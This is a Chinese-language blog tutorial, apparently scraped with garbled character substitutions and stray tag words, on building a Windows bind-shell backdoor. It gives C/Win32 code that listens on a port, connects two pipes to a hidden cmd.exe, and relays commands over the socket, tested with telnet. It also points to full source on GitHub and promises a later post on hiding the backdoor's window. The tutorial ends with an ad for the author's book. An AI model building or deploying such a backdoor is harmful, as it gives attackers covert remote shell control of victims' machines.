長時間不寫博客就是容易懶,今天10月最後一天,寫篇博客來結個尾。今天寫的是關於如何編寫windows後門程序,主要是涉及的技術是socket通訊和管道。後門分爲主動鏈接型和反向鏈接型,而根據使用的管道數又能夠細分爲雙管道,單管道和零管道。今天講的是雙管道主動鏈接型後門的編寫。python
1.1 主動鏈接型指的是後門程序做爲服務端,換句話說被攻擊者的服務器做爲服務端,攻擊者(黑客)做爲客戶端主動去鏈接後門程序,執行一系列的shell操做。服務器不必定是放在外網中,其實在內網中也是能夠的。git
從上圖中能夠看到後門程序須要監聽指定端口,並能夠接收外部的鏈接,這就涉及了socket服務端程序的編寫,在windows上編寫的步驟爲:github
部分代碼以下:shell
1 //初始化socket 2 if (!SockInit()) return FALSE; 3 //建立socket 4 SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 5 if (serverSocket == INVALID_SOCKET) return FALSE; 6 //綁定指定端口 7 sockaddr_in sServer = { 0 }; 8 sServer.sin_family = AF_INET; 9 sServer.sin_addr.s_addr = htonl(INADDR_ANY); 10 sServer.sin_port = htons(port); 11 if (bind(serverSocket,(sockaddr*) &sServer, sizeof(sServer)) == SOCKET_ERROR) 12 { 13 return FALSE; 14 } 15 //開始監聽,而且接受鏈接 16 if (listen(serverSocket, 5) == SOCKET_ERROR) 17 { 18 return FALSE; 19 } 20 21 SOCKET cSocket = accept(serverSocket, NULL, NULL);
1.2 後門程序不只須要接收外部的鏈接,還須要進行本地的shell操做,這樣黑客在本身的電腦上就能夠遠程操做服務器的shell。這就涉及到進程間通訊,採用的是管道技術。下面我把工做流程進行進一步細化,因爲管道是單向的,所以此次使用雙管道分別進行讀操做和寫操做。編程
你們可能奇怪爲何有兩個管道,卻只有一個socket,由於socket傳輸是雙向的。上圖的工做流程是這樣的,首先黑客經過網絡遠程鏈接到後門程序,後門程序接收到socket傳過來的指令,並經過讀管道傳給cmd.exe進程,進行操做,並把操做的結果經過寫管道傳給socket,最終傳回黑客電腦。後門程序和cmd.exe創建管道通訊的代碼以下:windows
1 //開始建立管道,管道是單向的,因此建立兩個管道, 2 //一個負責讀一個負責寫 3 4 HANDLE hReadPipe1, hWritePipe1;//管道1 的讀寫 5 HANDLE hReadPipe2, hWritePipe2;//管道2的讀寫 6 7 SECURITY_ATTRIBUTES sa = { 0 }; 8 sa.nLength = sizeof(SECURITY_ATTRIBUTES); 9 sa.lpSecurityDescriptor = NULL; 10 sa.bInheritHandle = TRUE; 11 12 if (!CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0) || 13 !CreatePipe(&hReadPipe2, &hWritePipe2, &sa, 0)) 14 return FALSE; 15 //啓動cmd.exe,並創建與它的管道通訊 16 //首先配置啓動參數 17 STARTUPINFO si = {0}; 18 GetStartupInfo(&si); 19 si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; 20 //cmd的標準輸入鏈接到管道1的讀取端 21 si.hStdInput = hReadPipe1; 22 //cmd的標準輸出鏈接到管道2的寫入端 23 si.hStdOutput = si.hStdError = hWritePipe2; 24 //將窗口設置爲隱藏 25 si.wShowWindow = SW_HIDE; 26 //獲取cmd.exe的系統路徑 27 TCHAR tCmdPath[MAX_PATH] = { 0 }; 28 GetSystemDirectory(tCmdPath, MAX_PATH);//獲取系統路徑 29 lstrcat(tCmdPath, TEXT("\\cmd.exe")); 30 //wcscat_s(tCmdPath, MAX_PATH, TEXT("\\cmd.exe")); 31 //開始建立cmd進程 32 PROCESS_INFORMATION pi = { 0 }; 33 if (!CreateProcess(tCmdPath, 34 NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) 35 return FALSE;
1.3.爲了方便操做,我在後門程序中開啓了兩個線程,分別處理socket和管道的讀寫操做,部分代碼以下:服務器
1 //下面開始啓動兩個線程,一個是讀線程,從socket讀取數據寫入管道1,一個是寫線程,從管道2讀取數據,寫到socket 2 ComNode mReadNode, mWriteNode; 3 mReadNode.socket = mWriteNode.socket = cSocket; 4 mReadNode.pipe = hWritePipe1; 5 mWriteNode.pipe = hReadPipe2; 6 //接下來啓動線程,並將兩個通訊節點做爲參數傳到線程處理函數中 7 DWORD dwThreadOutput=0, dwThreadInput=0; 8 HANDLE hThreadInput = CreateThread(NULL, 0, ThreadInput, &mReadNode, 0, &dwThreadInput); 9 HANDLE hThreadOutput = CreateThread(NULL, 0, ThreadOutput, &mWriteNode, 0, &dwThreadOutput); 10 11 12 HANDLE szHandles[] = { hThreadOutput ,hThreadInput }; 13 //同步線程 14 WaitForMultipleObjects(2, szHandles, TRUE, INFINITE);
1.4最後看一下運行效果,首先咱們在本地啓動後門程序,監聽8009端口,而後在本地使用telnet鏈接後門程序,模擬黑客攻擊的過程,固然你徹底能夠將後門程序放到公網中,這裏只是方便演示。網絡
這就是咱們在E盤生成的後門程序,你們確定會想,若是去掉這個黑窗口,否則不夠隱蔽,你們先百度,很簡單,在下一篇後門編程(2)我會講一下。接着我在本地啓動一個cmd.exe,也就是黑客端,不要和後門程序中啓動的cmd.exe弄混了。在其中輸入telnet命令,鏈接後門程序。下圖是鏈接後門以前的cmd.exe的狀況。socket
咱們輸入telnet 127.0.0.1 8009 後,開始發生變化。分佈式
路徑切換到後門所在的地方了,咱們也就是說咱們能夠在本機遠程操做服務器上的shell了,執行dir命令,查看服務器上的文件。
完整的代碼我放到 https://github.com/qiyeboy/LuLunZi 中的BackDoor文件夾中。
我新書《Python爬蟲開發與項目實戰》出版了。 這本書包括基礎篇,中級篇和深刻篇三個部分,不只適合零基礎的朋友入門,也適合有必定基礎的爬蟲愛好者進階,若是你不會分佈式爬蟲,不會千萬級數據的去重,不會怎麼突破反爬蟲,不會分析js的加密,這本書會給你驚喜。若是你們對這本書感興趣的話,能夠看一下 試讀樣章。